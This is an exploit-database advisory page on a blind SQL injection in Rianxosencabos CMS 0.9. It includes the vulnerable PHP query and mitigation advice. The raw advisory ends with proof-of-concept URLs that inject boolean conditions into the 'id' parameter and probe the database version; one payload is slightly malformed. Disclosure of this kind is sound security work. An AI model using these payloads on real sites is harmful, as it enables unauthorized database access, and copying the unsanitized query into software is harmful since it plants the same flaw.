header-logo
Suggest Exploit
vendor:
Rianxosencabos CMS
by:
ka0x
9
CVSS
HIGH
Remote Blind SQL Injection
89
CWE
Product Name: Rianxosencabos CMS
Affected Version From: 0.9
Affected Version To: 0.9
Patch Exists: NO
Related CWE: N/A
CPE: a:rianxosencabos:rianxosencabos_cms
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2008

Rianxosencabos CMS 0.9 Remote Blind SQL Injection Vulnerability

Rianxosencabos CMS 0.9 is vulnerable to a Remote Blind SQL Injection vulnerability. This vulnerability is due to the 'scripts/links.php' script not properly sanitizing user-supplied input to the 'id' parameter in the 'visita()' function. An attacker can exploit this vulnerability to inject and execute arbitrary SQL commands in the application's back-end database, allowing for the manipulation or disclosure of arbitrary data. This vulnerability can be exploited through a browser.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to dynamically construct SQL queries. Additionally, parameterized queries should be used to prevent SQL injection attacks.
Source

Exploit-DB raw data:

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Rianxosencabos CMS 0.9 Remote Blind SQL Injection Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

/ Script: Rianxosencabos
/ Version: 0.9
/ File affected: scripts/links.php
/ Download: http://downloads.sourceforge.net/rsccms/rsccms.tar.gz


ka0x <ka0x01 [at] gmail [dot] com>
D.O.M Labs - Security Researchers
- www.domlabs.org

Vuln code:

-----
88:  function visita($id) {
93:  $resultado=$bd->consulta("SELECT direccion, clicks FROM links WHERE id=$id LIMIT 1");
....

112: if ($_GET['id']) {
113: links::visita($_GET['id'])
-----


Proof of Concept:

http://[host]/[cms]/?s=links&id=1 and 1=1 -> True
http://[host]/[cms]/?s=links&id=1 and 1=0 -> False
http://[host]/[cms]/?s=links&id=1 and ascii(substring(@@version,1,1)=52


__END__

# milw0rm.com [2008-09-30]